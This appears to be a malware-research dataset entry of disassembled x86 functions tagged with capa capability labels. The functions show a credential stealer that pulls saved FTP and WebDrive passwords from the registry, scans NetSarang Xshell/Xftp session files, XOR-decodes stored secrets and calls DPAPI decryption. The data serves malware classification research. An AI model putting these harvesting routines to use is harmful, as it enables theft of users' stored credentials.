joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432d3d
Capabilities:
Enumerate files on windows
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1120
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, 0x3e7
mov dword [ebp - 0x1120], eax
push esi
lea eax, [ebp - 0x423]
mov byte [ebp - 0x424], 0
push 0
push eax
mov ebx, ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x80c], 0
lea eax, [ebp - 0x80b]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea edi, [ebp - 0x38]
mov esi, str.TransSoft_LtdFTP_Control_4ProfilesDefault
push 0xb
pop ecx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x1120]
push esi
call fcn.00643470
mov edi, 0x6c643c
pop ecx
cmp eax, 1
jae 0x432e67
lea eax, [ebp - 0x80c]
push eax
xor eax, eax
push eax
push eax
push 0x26
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x432de7
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x432f8c
lea eax, [ebp - 0x38]
mov esi, 0x3e8
push eax
lea eax, [ebp - 0x80c]
push eax
push edi
lea eax, [ebp - 0x424]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x424]
call fcn.004055eb
test eax, eax
jne 0x432e82
cmp dword [ebx + 0x5b87c], eax
je 0x432de0
lea eax, [ebp - 0x80c]
push 0x20
push eax
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x432de0
mov byte [eax], 0
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x80c]
push eax
push edi
lea eax, [ebp - 0x424]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x424]
call fcn.004055eb
test eax, eax
je 0x432de0
jmp 0x432e82
push esi
push str._sProfilesDefault
mov esi, 0x3e8
lea eax, [ebp - 0x424]
push esi
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0xfdc]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0xfdc]
push 0x6c7624
push esi
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [ebp - 0x111c]
push eax
lea eax, [ebp - 0xfdc]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x432de0
test byte [ebp - 0x111c], 0x10
je 0x432f16
cmp byte [ebp - 0x10f0], 0x2e
je 0x432f6c
lea eax, [ebp - 0x10f0]
push eax
lea eax, [ebp - 0x424]
push eax
push 0x6c643c
lea eax, [ebp - 0xbf4]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0xbf4]
mov ecx, ebx
push eax
call fcn.00432c4e
jmp 0x432f6c
lea eax, [ebp - 0x10f0]
push 0x2e
push eax
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x432f6c
push str..PRF
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
jne 0x432f6c
lea eax, [ebp - 0x10f0]
push eax
lea eax, [ebp - 0x424]
push eax
push 0x6c643c
lea eax, [ebp - 0xbf4]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0xbf4]
mov ecx, ebx
push eax
call fcn.00432872
lea ecx, [ebp - 0x111c]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x432ecd
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x432f9d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc4
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0xbbf]
mov esi, 0x3e7
mov byte [ebp - 0xbc0], 0
push esi
push 0
push eax
mov ebx, ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x7d8], 0
lea eax, [ebp - 0x7d7]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x3f0], 0
lea eax, [ebp - 0x3ef]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
cmp dword [ebp + 0xc], 0x250
jae 0x433018
xor eax, eax
jmp 0x4330c1
xor ecx, ecx
mov eax, ecx
xor byte [edi + eax], 0x91
inc eax
cmp eax, dword [ebp + 0xc]
jb 0x43301c
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0xbc0]
push ecx
push ecx
push 0x3e8
push eax
push 0xffffffffffffffff
lea eax, [edi + 0xc0]
push eax
push ecx
push ecx
call esi
xor ecx, ecx
lea eax, [ebp - 0x7d8]
push ecx
push ecx
push 0x3e8
push eax
push 0xffffffffffffffff
lea eax, [edi + 0x188]
push eax
push ecx
push ecx
call esi
xor ecx, ecx
lea eax, [ebp - 0x3f0]
push ecx
push ecx
push 0x3e8
push eax
push 0xffffffffffffffff
lea eax, [edi + 0x248]
push eax
push ecx
push ecx
call esi
lea eax, [ebp - 0x3f0]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x4330be
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0x3f0]
push ecx
push eax
lea eax, [ebp - 0x7d8]
push eax
lea eax, [ebp - 0xbc0]
push eax
push ecx
push 0x150
push 4
mov ecx, ebx
call fcn.0043ee6b
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 8
Function at 0x4338c9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, edx
push edi
mov edi, ecx
mov dword [ebp - 0x2c], eax
push edi
mov byte [eax], 0
call fcn.00643470
pop ecx
cmp eax, 2
jae 0x4338f7
xor eax, eax
jmp 0x43399c
push ebx
xor ebx, ebx
mov dword [ebp - 0x20], 0x333b3b3b
push edi
mov dword [ebp - 0x1c], 0x3b333333
mov dword [ebp - 0x18], 0x233b3b3b
mov dword [ebp - 0x14], 0x3b232323
mov dword [ebp - 0x10], 0x333b3b3b
mov dword [ebp - 0xc], 0x3b333333
mov word [ebp - 8], 0x3b3b
mov dword [ebp - 0x28], ebx
call fcn.00643470
pop ecx
cmp eax, 1
jbe 0x433991
push esi
xor esi, esi
inc esi
mov bl, byte [esi + edi]
movsx eax, bl
push eax
mov dword [ebp - 0x24], eax
call fcn.0064a9e0
pop ecx
test eax, eax
je 0x433959
mov al, 0x69
sub al, bl
mov bl, al
jmp 0x433976
push dword [ebp - 0x24]
call fcn.0064a950
pop ecx
test eax, eax
je 0x433976
push dword [ebp - 0x24]
call fcn.006509c7
movsx eax, al
pop ecx
xor bl, byte [ebp + eax - 0x61]
mov eax, dword [ebp - 0x2c]
push edi
mov byte [eax + esi - 1], bl
mov ebx, dword [ebp - 0x28]
inc ebx
inc esi
mov dword [ebp - 0x28], ebx
call fcn.00643470
pop ecx
cmp esi, eax
jb 0x43393d
pop esi
mov eax, dword [ebp - 0x2c]
mov byte [eax + ebx], 0
xor eax, eax
inc eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.006122f0
leave
ret
Function at 0x4339a9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1018
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x40b]
push edi
mov ebx, 0x3ff
mov byte [ebp - 0x40c], 0
push ebx
push 0
push eax
mov edi, ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x100c], 0
lea eax, [ebp - 0x100b]
push ebx
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0xc0c], 0
lea eax, [ebp - 0xc0b]
push ebx
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x80c], 0
lea eax, [ebp - 0x80b]
push ebx
xor ebx, ebx
push ebx
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x1014]
push eax
push 0x20019
push ebx
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x433a56
xor eax, eax
jmp 0x433b69
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x40c]
mov dword [ebp - 0x1010], 0x400
push eax
lea eax, [ebp - 0x1018]
push eax
push ebx
push str.Server
push dword [ebp - 0x1014]
call esi
lea eax, [ebp - 0x40c]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x433ab0
lea eax, [ebp - 0x40c]
push 0x5c
push eax
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x433ab0
mov byte [eax], bl
lea eax, [ebp - 0x1010]
mov dword [ebp - 0x1010], 0x400
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0x1018]
push eax
push ebx
push str.Username
push dword [ebp - 0x1014]
call esi
lea eax, [ebp - 0x1010]
mov dword [ebp - 0x1010], 0x400
push eax
lea eax, [ebp - 0xc0c]
push eax
lea eax, [ebp - 0x1018]
push eax
push ebx
push str.Password
push dword [ebp - 0x1014]
call esi
push dword [ebp - 0x1014]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
lea edx, [ebp - 0x80c]
lea ecx, [ebp - 0xc0c]
call fcn.004338c9
pop ecx
lea eax, [ebp - 0x80c]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x433b66
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0x80c]
push ecx
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0x40c]
push eax
push ecx
push 0x152
push 4
mov ecx, edi
call fcn.0043ee6b
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x433b7a
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7e4
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x7e0]
xor edi, edi
push eax
push 0x20019
push edi
push str.SoftwareCryerWebSitePublisher
push SysReAllocString
mov ebx, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x433bbc
xor eax, eax
jmp 0x433c42
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x7dc]
mov esi, edi
push eax
lea eax, [ebp - 0x3f0]
push eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x433c1d
lea eax, [ebp - 0x3f0]
push eax
push str.SoftwareCryerWebSitePublisher_s
lea eax, [ebp - 0x7d8]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x7d8]
mov ecx, ebx
push eax
call fcn.004339a9
inc esi
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x7dc]
push eax
lea eax, [ebp - 0x3f0]
push eax
push esi
push dword [ebp - 0x7e0]
mov dword [ebp - 0x7dc], 0x3e8
call edi
test eax, eax
je 0x433bd9
push dword [ebp - 0x7e0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x434387
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc18
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x80b]
push edi
mov ebx, 0x3ff
mov byte [ebp - 0x80c], 0
push ebx
push 0
push eax
mov edi, ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0xc0c], 0
lea eax, [ebp - 0xc0b]
push ebx
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x40c], 0
lea eax, [ebp - 0x40b]
push ebx
xor ebx, ebx
push ebx
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0xc14]
push eax
push 0x20019
push ebx
push esi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x434528
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0xc10]
push eax
lea eax, [ebp - 0xc0c]
mov dword [ebp - 0xc10], 0x3e8
push eax
lea eax, [ebp - 0xc18]
push eax
push ebx
push str.FtpServer
push dword [ebp - 0xc14]
call esi
lea eax, [ebp - 0xc10]
mov dword [ebp - 0xc10], 0x400
push eax
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0xc18]
push eax
push ebx
push str.FtpUserName
push dword [ebp - 0xc14]
call esi
lea eax, [ebp - 0xc10]
mov dword [ebp - 0xc10], 0x400
push eax
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0xc18]
push eax
push ebx
push str._FtpPassword
push dword [ebp - 0xc14]
call esi
test eax, eax
je 0x4344d2
lea eax, [ebp - 0xc10]
mov dword [ebp - 0xc10], 0x400
push eax
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0xc18]
push eax
push ebx
push str.FtpPassword
push dword [ebp - 0xc14]
call esi
push dword [ebp - 0xc14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0xc10]
test edx, edx
je 0x434528
lea ecx, [ebp - 0x40c]
call fcn.00421bd6
test eax, eax
je 0x434528
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0x40c]
push ecx
push eax
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0xc0c]
push eax
push ecx
push 0x15a
push 4
mov ecx, edi
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x43452a
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x43453b
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc14
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 9
mov ebx, ecx
lea edi, [ebp - 0x408]
pop ecx
mov esi, str.SoftwareNCH_SoftwareFlingAccounts
lea eax, [ebp - 0x3e3]
rep movsd dword es:[edi], dword [esi]
push 0x3db
movsb byte es:[edi], byte [esi]
xor esi, esi
push esi
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0xc10]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x408]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4345a5
xor eax, eax
jmp 0x434632
push esi
push esi
push esi
push esi
lea eax, [ebp - 0xc0c]
mov edi, esi
push eax
lea eax, [ebp - 0x808]
push eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x43460d
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x408]
push eax
push 0x6c643c
lea eax, [ebp - 0xc08]
push 0x400
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0xc08]
mov ecx, ebx
push eax
call fcn.00434387
inc edi
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0xc0c]
push eax
lea eax, [ebp - 0x808]
push eax
push edi
push dword [ebp - 0xc10]
mov dword [ebp - 0xc0c], 0x400
call esi
test eax, eax
je 0x4345c2
push dword [ebp - 0xc10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret

Function at 0x434641
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push ebx
mov byte [edi], 0
call fcn.00643470
pop ecx
mov ecx, eax
cmp ecx, 1
jl 0x4346e9
push 3
cdq
pop esi
idiv esi
test edx, edx
jne 0x4346e9
mov eax, ecx
mov dword [ebp - 0x3f0], 0x12
cdq
idiv esi
xor esi, esi
mov dword [ebp - 0x3f4], eax
test eax, eax
jle 0x4346e0
push 3
push ebx
lea eax, [ebp - 0x3ec]
push 0x3e8
push eax
call fcn.00650b7d
lea eax, [ebp - 0x3ec]
add ebx, 3
push eax
call fcn.0064a881
mov edx, dword [ebp - 0x3f0]
add esp, 0x14
mov ecx, edx
sar ecx, 8
xor cl, al
mov byte [edi + esi], cl
lea ecx, [eax + edx]
inc esi
lea eax, [ecx*2 + 4]
mov dword [ebp - 0x3f0], eax
cmp esi, dword [ebp - 0x3f4]
jl 0x434691
xor eax, eax
mov byte [edi + esi], 0
inc eax
jmp 0x4346eb
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x43598c
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd04
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, ecx
mov ecx, edi
call fcn.004055eb
test eax, eax
jne 0x4359b9
xor eax, eax
jmp 0x435ac5
push edi
mov esi, 0x400
lea eax, [ebp - 0x7d8]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x7d8]
push 0x6c7624
push esi
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [ebp - 0xd00]
push eax
lea eax, [ebp - 0x7d8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x435a07
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4359b2
test byte [ebp - 0xd00], 0x10
jne 0x435aa5
lea eax, [ebp - 0xcd4]
push eax
lea eax, [ebp - 0x3f0]
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x3f0]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x3f0]
push eax
call fcn.0064ffd4
cmp dword [ebp + 8], 0x15d
lea eax, [ebp - 0x3f0]
pop ecx
pop ecx
jne 0x435a62
push str..xfp
jmp 0x435a67
push str..xsh
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x435aa5
lea eax, [ebp - 0xcd4]
push eax
push edi
push 0x6c643c
lea eax, [ebp - 0xbc0]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0xbc0]
mov ecx, ebx
push eax
push dword [ebp + 8]
call fcn.0043534b
lea eax, [ebp - 0xd00]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x435a07
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 8
Function at 0x435ad6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7e0
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x3f3]
mov esi, 0x3e7
mov byte [ebp - 0x3f4], 0
push esi
push 0
push eax
mov ebx, ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x7dc], 0
lea eax, [ebp - 0x7db]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x7dc]
push eax
xor eax, eax
push eax
push eax
push 5
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x435b4d
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x435c48
mov edx, 0x15d
lea eax, [ebp - 0x7dc]
push eax
cmp edi, edx
mov ecx, str._sNetSarangXftpSessions
mov eax, str._sNetSarangXshellSessions
mov esi, edx
cmove eax, ecx
cmovne esi, edi
push eax
lea eax, [ebp - 0x3f4]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x3f4]
mov ecx, ebx
push eax
push esi
call fcn.0043598c
lea eax, [ebp - 0x7dc]
mov ecx, str._sNetSarang_Computer6XftpSessions
push eax
cmp edi, 0x15d
mov eax, str._sNetSarang_Computer6XshellSessions
cmove eax, ecx
push eax
lea eax, [ebp - 0x3f4]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x3f4]
mov ecx, ebx
push eax
push esi
call fcn.0043598c
lea eax, [ebp - 0x7dc]
mov ecx, str._sNetSarang_Computer7XftpSessions
push eax
cmp edi, 0x15d
mov eax, str._sNetSarang_Computer7XshellSessions
cmove eax, ecx
push eax
lea eax, [ebp - 0x3f4]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x3f4]
mov ecx, ebx
push eax
push esi
call fcn.0043598c
lea eax, [ebp - 0x7dc]
cmp edi, 0x15d
push eax
mov ecx, str._sNetSarang_Computer8XftpSessions
lea edi, [ebp - 0x3f4]
mov eax, str._sNetSarang_Computer8XshellSessions
cmove eax, ecx
push eax
push 0x3e8
push edi
call fcn.00402e0a
add esp, 0x10
mov ecx, ebx
push edi
push esi
call fcn.0043598c
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x4361ec
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfb8
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x7db]
push edi
mov edi, 0x3e7
mov byte [ebp - 0x7dc], 0
push edi
push 0
push eax
mov ebx, ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x3f4], 0
lea eax, [ebp - 0x3f3]
push edi
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0xfb4]
push eax
push 0x20019
push 0
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x43636c
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0xfb0]
push eax
lea eax, [ebp - 0xbc4]
mov dword [ebp - 0xfb0], 0x3e8
push eax
lea eax, [ebp - 0xfb8]
push eax
push 0
push str.PassWord
push dword [ebp - 0xfb4]
call edi
test eax, eax
jne 0x436360
mov esi, dword [ebp - 0xfb0]
cmp esi, 1
jb 0x436360
lea eax, [ebp - 0xfb0]
mov dword [ebp - 0xfb0], 0x3e8
push eax
lea eax, [ebp - 0x7dc]
push eax
lea eax, [ebp - 0xfb8]
push eax
push 0
push 0x6cc210
push dword [ebp - 0xfb4]
call edi
lea eax, [ebp - 0xfb0]
mov dword [ebp - 0xfb0], 0x3e8
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0xfb8]
push eax
push 0
push str.UserName
push dword [ebp - 0xfb4]
call edi
push dword [ebp - 0xfb4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
lea eax, [ebp - 0xfac]
mov edx, esi
push eax
lea ecx, [ebp - 0xbc4]
call fcn.00435e18
pop ecx
pop ecx
cmp eax, 1
jne 0x43635b
push 0xffffffffffffffff
mov edx, 0x6c5bb9
lea eax, [ebp - 0xfac]
push edx
push eax
lea eax, [ebp - 0x3f4]
push eax
lea ecx, [ebp - 0x7dc]
push ecx
push edx
push 0x157
push 4
mov ecx, ebx
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x43636e
push dword [ebp - 0xfb4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x43637f
Capabilities:
Gather southriver-webdrive information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xd
mov ebx, ecx
lea edi, [ebp - 0x3c]
pop ecx
mov esi, str.SoftwareSouth_River_TechnologiesWebDriveConnections
lea eax, [ebp - 0x818]
rep movsd dword es:[edi], dword [esi]
push eax
push 0x20019
lea eax, [ebp - 0x3c]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
push esi
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4363d0
xor eax, eax
jmp 0x43645a
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x814]
mov edi, esi
push eax
lea eax, [ebp - 0x428]
push eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x436435
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x6c643c
lea eax, [ebp - 0x810]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x810]
mov ecx, ebx
push eax
call fcn.004361ec
inc edi
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x428]
push eax
push edi
push dword [ebp - 0x818]
mov dword [ebp - 0x814], 0x3e8
call esi
test eax, eax
je 0x4363ed
push dword [ebp - 0x818]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x436e4d
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x272c
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 0x2720], edx
push esi
and dword [eax], 0
mov dword [ebp - 0x2724], eax
call fcn.00643470
pop ecx
test al, 1
je 0x436e8b
xor eax, eax
jmp 0x436f2e
push ebx
push edi
push esi
call fcn.00643470
pop ecx
mov ebx, eax
shr ebx, 1
push 0
pop edi
je 0x436ebc
lea ecx, [ebp - 0x2714]
add ecx, edi
push ecx
push str._2hhx
push esi
call fcn.00404468
add esp, 0xc
add esi, 2
inc edi
cmp edi, ebx
jl 0x436e9d
lea eax, [ebp - 0x2714]
mov dword [ebp - 0x272c], ebx
mov dword [ebp - 0x2728], eax
xor ebx, ebx
lea eax, [ebp - 0x271c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x272c]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x436f24
push dword [ebp - 0x271c]
mov esi, dword [ebp - 0x2720]
push dword [ebp - 0x2718]
push esi
call fcn.00638b30
mov eax, dword [ebp - 0x271c]
add esp, 0xc
mov ecx, dword [ebp - 0x2724]
mov byte [esi + eax], bl
mov eax, dword [ebp - 0x271c]
mov dword [ecx], eax
xor eax, eax
inc eax
jmp 0x436f2c
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.006122f0
leave
ret